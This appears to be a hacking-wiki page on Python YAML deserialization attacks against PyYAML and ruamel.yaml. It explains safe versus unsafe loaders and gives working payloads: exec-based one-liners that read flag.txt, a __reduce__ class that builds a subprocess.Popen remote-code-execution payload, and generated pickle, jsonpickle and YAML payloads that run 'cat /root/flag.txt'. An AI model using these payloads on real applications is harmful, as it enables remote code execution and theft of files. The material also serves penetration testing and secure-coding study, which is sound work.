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# Yaml **Deserialization**
**Yaml** python libraries is also capable to **serialize python objects** and not just raw data:
```
print(yaml.dump(str("lol")))
lol
...
print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```
Check how the **tuple** isnβt a raw type of data and therefore it was **serialized**. And the same happened with the **range** (taken from the builtins).
 (1).png>)
**safe\_load()** or **safe\_load\_all()** uses SafeLoader and **donβt support class object deserialization**. Class object deserialization example:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #
print(yaml.load_all(data, Loader=Loader)) #
print(yaml.load_all(data, Loader=UnsafeLoader)) #
print(yaml.load_all(data, Loader=FullLoader)) #
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #
print(yaml.unsafe_load_all(data)) #
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
The previous code used **unsafe\_load** to load the serialized python class. This is because in **version >= 5.1**, it doesnβt allow to **deserialize any serialized python class or class attribute**, with Loader not specified in load() or Loader=SafeLoader.
## Basic Exploit
Example on how to **execute a sleep**:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
## Vulnerable .load("\") without Loader
**Old versions** of pyyaml were vulnerable to deserialisations attacks if you **didn't specify the Loader** when loading something: `yaml.load(data)`
You can find the [**description of the vulnerability here**](https://hackmd.io/@defund/HJZajCVlP)**.** The proposed **exploit** in that page is:
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Or you could also use this **one-liner provided by @ishaack**:
```yaml
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
```
Note that in **recent versions** you cannot **no longer call `.load()`** **without a `Loader`** and the **`FullLoader`** is **no longer vulnerable** to this attack.
# RCE
Kindly note payload creation can be done with **any python YAML module (PyYAML or ruamel.yaml), in the same way**. The same payload can exploit both YAML module or any module based on PyYAML or ruamel.yaml
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
#!!python/object/apply:subprocess.Popen
#- ls
print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
## Tool to create Payloads
The tool [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) can be used to generate python deserialization payloads to abuse **Pickle, PyYAML, jsonpickle and ruamel.yaml:**
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!
cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
```
# References
For more in depth information about this technique read: [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
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